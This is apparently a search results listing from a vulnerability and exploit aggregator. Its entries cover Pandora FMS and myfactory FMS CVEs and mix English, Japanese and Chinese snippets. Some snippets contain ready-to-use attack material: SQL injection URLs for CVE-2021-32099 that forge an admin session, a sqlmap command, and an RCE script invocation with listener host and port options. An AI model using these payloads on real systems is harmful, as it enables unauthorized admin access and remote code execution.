1080 matches found
exploit-CVE-2020-5844
Exploit for CVE-2020-5844 Pandora FMS v7.0NG.742 - Remote Code Execution Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description...
CVE-2024-11320
CVE-2024-11320 Pandora FMS リモートコード実行 CVE-2024-11320 のエクスプロイト...
CVE-2022-45436
CVE-2022-45436 Reflected Cross Site Scripting leading to session hijacking in pandorafms Exploit Title: Reflected Cross Site Scripting Date: 15/02/2023 Exploit Author: Damodar Naik Vendor Homepage: https://pandorafms.com/en/ Software Link: https://github.com/pandorafms/pandorafms Version: = v765 ...
CVE-2021-32099
CVE-2021-32099 PoC このリポジトリは、Pandora FMS 742 に影響を与える CVE-2021-32099 の脆弱性に対する Proof of Concept PoC エクスプロイトを提供します。このエクスプロイトは、認証されていない攻撃者がSQLインジェクションの脆弱性を悪用して、非特権セッションを管理者レベルのアカウントに昇格させる方法を示しています。管理者アクセスを取得すると、攻撃者はPandora FMSのファイルマネージャーを介して任意のPHPファイルをアップロードでき、リモートコード実行につながり、Webサーバーユーザーとしてサーバーを侵害します。 ...
pandorafms_7.44
Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE は、認証済みユーザーがイベント機能を介してリモートコマンド実行を達成できるようにします。資格情報またはPHPセッションクッキーのいずれかで実行可能です。 はじめに プログラムの実行 資格情報を使用する場合 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337...
myfactory FMS - Cross-Site Scripting
myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. id: CVE-2021-42566 info: name: myfactory FMS - Cross-Site Scripting author: madrobot,daffainfo severity: medium description: | myfactory.FMS before 7.1-912 allows cross-site scripting via the Error parameter. impact...
myfactory FMS - Cross-Site Scripting
myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter. id: CVE-2021-42565 info: name: myfactory FMS - Cross-Site Scripting author: madrobot,daffainfo severity: medium description: | myfactory.FMS before 7.1-912 allows cross-site scripting via the UID parameter. impact: |...
Pandora FMS <=7.0NG.722 - Remote Code Execution
Pandora FMS versions =7.0NG.722 are vulnerable to unauthenticated remote code execution by chaining an unrestricted file upload CVE-2018-11221 and a local file inclusion CVE-2018-11222. An attacker can upload a malicious PHP file as a plugin and execute it via LFI, leading to full compromise of t...
CVE-2021-32099_SQLi
CVE-2021-32099 SQLi 绕过登录 在尝试读取 Pandora.htb 上的 User Flag 时非常有用 CVE-2021-32099 SQLi 允许攻击者绕过登录。 目标 利用目标：Pandora FMS v7.0NG.742FIXPERL2020 分析 从 cvedetail 中读取。我们知道目标端点：http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=PayloadHere = 访问被拒绝。 sqlmap -r req.txt -p sessionid...
CVE-2021-32099
CVE-2021-32099 CVE-2021-32099 POC : http://localhost:8000/pandoraconsole/include/chartgenerator.php?sessionid=a%27%20UNION%20SELECT%20%27a%27,1,%27idusuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessionsphp%20WHERE%20%271%27=%271 详情 :...
CVE-2021-32099
CVE-2021-32099 pandora fms 742 sqli（预认证）POC root@kitploit: http://localhost/pandoraconsole/include/chartgenerator.php?sessionid=a' UNION SELECT 'a',1,'idusuario|s:5:"admin";' as data FROM tsessionsphp WHERE '1'='1 URL 编码 root@kitploit:...
CVE-2021-32099
poc : http://127.0.0.1:8888/pandoraconsole/include/chartgenerator.php?sessionid=%27%20union%20SELECT%201,2,%27idusuario|s:5:%22admin%22;%27%20as%20data%20--%20SgGO https://blog.sonarsource.com/pandora-fms-742-critical-code-vulnerabilities-explained...
Pandora v7.0NG.777.3 - Remote Code Execution
Arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism.This issue affects Pandora FMS- from 700 through =777.4 id: CVE-2024-11320 info: name: Pandora v7.0NG.777.3 - Remote Code Execution author: DhiyaneshDK,Shubham...
CVE-2026-75531 Stored Cross-Site Scripting in URL Observables via Lookyloo Submission Handler in Pandora
Pandora contains a stored cross-site scripting XSS vulnerability in the rendering of URL observables. A URL extracted from or associated with an analyzed file was inserted directly into the inline JavaScript onclick handler used by the Submit to Lookyloo action. Although the value was subject to...
CVE-2026-34187
Improper Neutralization of Special Elements used in an SQL Command vulnerability allows SQL Injection via graph container parameter. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30810
Server-Side Request Forgery vulnerability allows Privilege Escalation via API Checker extension. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30805
Insecure Default Initialization of Resource vulnerability allows Authentication Bypass via API access. This issue affects Pandora FMS: from 777 through 800...
CVE-2026-30807
Cross-Site Request Forgery vulnerability allows an attacker to perform unauthorized actions via crafted web page. This issue affects Pandora FMS: from 777 through 800...
